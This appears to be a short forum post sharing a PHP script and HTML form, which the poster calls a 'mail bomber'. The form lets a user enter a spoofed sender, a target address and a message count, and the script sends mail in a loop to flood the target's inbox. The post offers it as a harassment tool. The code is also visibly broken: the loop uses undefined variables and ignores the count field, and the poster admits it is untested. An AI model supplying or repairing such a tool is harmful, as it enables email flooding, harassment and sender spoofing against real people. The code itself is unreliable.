Easy to code but extremely effectiveIts in the HTML form, you fill it in when you submit it.
EDIT: I've turned it into a mail bomber if anyone wants it
Its untested, but it should work.PHP Code:<?
//Now we check if form was submitted
if(isset($_POST['send'])){
$from = addslashes($_POST["from"]);
$to = addslashes($_POST["to"]);
$subject = addslashes($_POST["subject"]);
$mssg = addslashes($_POST["mssg"]);
$number = $_POST['number'];
//Next we check if all fields were filled out!
if(!$from || !$to || !$subject || !$mssg){
die('You didn\'t fill in a required field.');
}
else if ( is_numeric( $number ) ) {
//Start sending form using variables that we issued in step 2.
$headers = "From: $from";
while ( $num < $i ) {
mail($to,$subject,$mssg,$headers);
$i++;
echo "Sent {$i}...<br />";
}
echo "<br><br><font color='green'>Mail sent!</font>";
} // end the if.
} // end the sending form.
?>
<form name="mywebmail" action="" method="post">
From: <input type="text" name="from"><br />
To: <input type="text" name="to"><br />
Number of messages <input type="text" name="number" /><br />
Subject:<input type="text" name="subject"><br>
Message: <textarea rows="5" cols="40" style='color: black; font-family: Verdana; font-size: 10px; border: 1px solid #25477A; background-color:' name="mssg"></textarea>
<input type="submit" name="send" value="Send my Message!" />![]()







Reply With Quote



